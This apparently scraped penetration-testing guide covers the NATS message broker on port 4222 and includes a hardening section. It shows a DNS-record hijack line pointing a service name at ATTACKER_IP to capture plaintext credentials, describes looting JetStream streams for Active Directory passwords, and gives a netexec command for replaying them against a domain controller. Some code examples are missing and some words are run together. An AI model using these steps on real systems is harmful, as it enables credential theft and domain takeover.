4222 - Nats
💡 学习提示: 本文档介绍 4222 - NATS 的渗透测试方法,适合信息安全初学者和从业人员参考。
⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。
update add nats-svc.domain.local 60 A ATTACKER_IP send
- As soon as an internal client resolves the hijacked name, it will emit a plaintext
CONNECTframe containing theuser/passpair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, evenncis enough to harvest secrets. - For longer engagements, run the official server locally (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging already shows usernames; removing the redaction helper or sniffing traffic with Wireshark reveals the full password.
JetStream looting & password hunting
Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:
JetStream discovery usually follows this pattern:
Streaming teams frequently log authentication events into subjects such as logs.auth. If developers persist the raw JSON into a JetStream stream, the payloads may include plaintext AD usernames and passwords:
Retained secrets can then be replayed against Kerberos-only services using netexec smb DC01 -u USER -p PASS -k, enabling full domain compromise.
Hardening & detection
- Enforce TLS (
tls,tls_required, or mTLS viankey/creds). Without encryption, INFO/CONNECT leaks credentials to anyone on-path. - Pinpoint who can update DNS – delegate service records to dedicated accounts and audit Event IDs 257/252 for high-value hostnames. Combine with scavenging alerts so missing broker names cannot be silently re-claimed.
- Disable credential logging. Scrub secrets before publishing to subjects, set JetStream retention/age limits, and apply
deny_delete=falseonly to trusted operators.